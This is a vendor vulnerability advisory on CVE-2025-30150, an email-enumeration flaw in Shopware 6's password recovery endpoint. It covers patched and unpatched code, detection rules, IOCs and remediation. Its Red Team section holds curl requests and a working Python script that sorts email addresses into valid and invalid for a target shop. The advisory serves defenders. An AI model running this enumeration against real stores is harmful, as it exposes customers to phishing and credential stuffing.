CVE-2025-30150
Executive Summary
CVE-2025-30150 is an information disclosure vulnerability in Shopware 6, an open-source e-commerce platform. The flaw resides in the /store-api/account/recovery-password endpoint, which allows an unauthenticated attacker to enumerate valid user email addresses. By sending a password recovery request, the attacker receives a distinct response depending on whether the email exists in the system. This behavior violates the principle of uniform error messages and enables targeted reconnaissance for phishing or credential stuffing attacks. The vulnerability has a CVSS score of 5.3 (Medium) and is trivial to exploit with no authentication required. Patches are available in Shopware 6.6.10.3 and 6.5.8.17, with a plugin for older 6.4 versions.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Shopware 6 platform, which is distributed as a PHP/Symfony application via Composer. The vulnerable endpoint is part of the core Store-API bundle. No third-party package dependencies are directly implicated, but the risk of supply chain compromise exists if the platform is not updated promptly. Attackers could use email enumeration to target downstream customers or partners.
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base Score: 5.3 (Medium)
Severity: Medium
Breakdown:
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – The vulnerable component remains the same.
- Confidentiality (C): Low – Only email existence is disclosed.
- Integrity (I): None – No data modification.
- Availability (A): None – No service disruption.
Threat Level: Medium. While the direct impact is limited to information disclosure, the ability to enumerate valid accounts significantly increases the risk of subsequent attacks such as phishing, credential stuffing, or targeted social engineering.
Deep Dive & Mechanics
The vulnerability exists in the /store-api/account/recovery-password endpoint of Shopware 6. This endpoint is designed to initiate the password recovery process by accepting an email address. The flaw is a classic example of CWE-203: Observable Discrepancy – the application returns different HTTP responses or status codes based on whether the email exists.
Technical Flow:
- An unauthenticated attacker sends a POST request to
/store-api/account/recovery-passwordwith a JSON body containing an email address. - The backend checks if the email exists in the customer database.
- If the email does not exist, the API returns a
404 Not Foundor a specific error message indicating "No account found for this email." - If the email does exist, the API returns a
200 OKor a success message indicating that a recovery email has been sent.
This observable difference allows an attacker to build a list of valid email addresses by iterating through a dictionary of potential emails. The attack requires no authentication and can be automated with simple scripts.
Root Cause: The developer failed to implement a uniform response for both valid and invalid email addresses. A secure implementation would return the same generic success message regardless of whether the email exists, preventing enumeration.
Vulnerable vs. Patched Code
Vulnerable Code (Shopware 6 < 6.6.10.3):
// In StoreApi/Account/RecoveryPasswordRoute.php
public function recover(Request $request): Response
{
$email = $request->get('email');
$customer = $this->customerRepository->findByEmail($email);
if (!$customer) {
// Returns a distinct error response
return new JsonResponse(['errors' => ['No account found for this email']], 404);
}
// Sends recovery email
$this->recoveryService->sendRecoveryMail($customer);
return new JsonResponse(['success' => true], 200);
}
Patched Code (Shopware 6 >= 6.6.10.3):
// In StoreApi/Account/RecoveryPasswordRoute.php
public function recover(Request $request): Response
{
$email = $request->get('email');
$customer = $this->customerRepository->findByEmail($email);
// Always return a generic success response to prevent enumeration
if ($customer) {
$this->recoveryService->sendRecoveryMail($customer);
}
// Uniform response regardless of email existence
return new JsonResponse(['success' => true], 200);
}
The patch removes the conditional error response and always returns a 200 OK with a generic success message. This prevents attackers from distinguishing between existing and non-existing accounts.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target Shopware 6 instance (version < 6.6.10.3 or < 6.5.8.17)
- List of potential email addresses (e.g., from OSINT or common patterns)
Exploitation Steps:
- Send a POST request to the vulnerable endpoint with a non-existent email.
- Observe the response (e.g., 404 or error message).
- Send a POST request with a known valid email.
- Observe the success response (200 OK).
- Automate the process to enumerate a list of emails.
Example cURL Commands:
# Test with non-existent email
curl -X POST https://target-shop.com/store-api/account/recovery-password \
-H "Content-Type: application/json" \
-d '{"email": "nonexistent@example.com"}'
# Expected response (vulnerable):
# HTTP/1.1 404 Not Found
# {"errors":[{"code":"CUSTOMER_NOT_FOUND","detail":"No account found for this email"}]}
# Test with valid email
curl -X POST https://target-shop.com/store-api/account/recovery-password \
-H "Content-Type: application/json" \
-d '{"email": "valid@example.com"}'
# Expected response (vulnerable):
# HTTP/1.1 200 OK
# {"success":true}
Automated Enumeration Script (Python):
import requests
import sys
def enumerate_emails(target_url, email_list):
for email in email_list:
response = requests.post(
f"{target_url}/store-api/account/recovery-password",
json={"email": email.strip()},
headers={"Content-Type": "application/json"}
)
if response.status_code == 200:
print(f"[VALID] {email.strip()}")
else:
print(f"[INVALID] {email.strip()}")
if __name__ == "__main__":
target = sys.argv[1]
email_file = sys.argv[2]
with open(email_file, 'r') as f:
emails = f.readlines()
enumerate_emails(target, emails)
Blue Team (Detection & Response)
Detection Strategy:
- Monitor for repeated POST requests to
/store-api/account/recovery-passwordwith different email addresses from the same IP. - Alert on high volumes of 404 responses followed by 200 responses from the same source.
- Implement rate limiting on the recovery endpoint.
Honeypot Technique:
- Deploy a decoy endpoint that mimics the vulnerable behavior but logs all requests.
- Use fake email addresses in the database to detect enumeration attempts.
Response Actions:
- Block IPs that exceed a threshold of recovery requests (e.g., >10 per minute).
- Temporarily disable the recovery endpoint if an attack is detected.
- Notify affected users if their email was enumerated.
Indicators of Compromise (IOCs)
Network IOCs:
- Repeated POST requests to
/store-api/account/recovery-passwordwith varying email parameters. - HTTP 404 responses followed by 200 responses from the same source IP.
- High frequency of requests (e.g., >100 requests in 5 minutes) to the recovery endpoint.
Log IOCs:
- Log entries showing
CUSTOMER_NOT_FOUNDerrors followed by successful recovery requests. - Multiple recovery attempts for non-existent emails from the same IP.
File IOCs:
- No specific file-based IOCs, as this is a network-level vulnerability.
Detection Engineering
YARA Rule
rule CVE_2025_30150_Email_Enumeration {
meta:
description = "Detects email enumeration attempts against Shopware 6 recovery endpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-30150"
strings:
$recovery_path = "/store-api/account/recovery-password"
$error_msg = "No account found for this email"
$success_msg = "\"success\":true"
condition:
#recovery_path > 10 and (#error_msg > 5 or #success_msg > 5)
}
Sigma Rule
title: Shopware 6 Email Enumeration via Recovery Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple password recovery requests to Shopware 6 indicating email enumeration
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/store-api/account/recovery-password'
condition: selection | count() by src_ip > 10 within 5m
falsepositives:
- Legitimate password recovery attempts by users
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-30150 - Shopware 6 Email Enumeration Attempt"; flow:to_server; content:"POST"; http_method; content:"/store-api/account/recovery-password"; http_uri; content:"email"; http_client_body; threshold:type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Shopware to version 6.6.10.3 or 6.5.8.17 (or later).
- For Shopware 6.4 installations, install the security plugin provided by Shopware.
- If immediate patching is not possible, implement a Web Application Firewall (WAF) rule to block or rate-limit requests to
/store-api/account/recovery-password.
Long-Term Mitigations:
- Apply the principle of uniform error messages across all authentication-related endpoints.
- Implement CAPTCHA or rate limiting on password recovery and login endpoints.
- Conduct regular security audits of API endpoints for information disclosure vulnerabilities.
- Monitor logs for unusual patterns of recovery requests.
WAF Rule Example (ModSecurity):
SecRule REQUEST_URI "/store-api/account/recovery-password" \
"id:1000002,phase:1,t:none,deny,status:429,msg:'Rate limit exceeded for recovery endpoint',initcol:ip=%{REMOTE_ADDR},setvar:ip.recovery_count=+1,expirevar:ip.recovery_count=300"
Valters IT – Securing digital frontiers, one CVE at a time.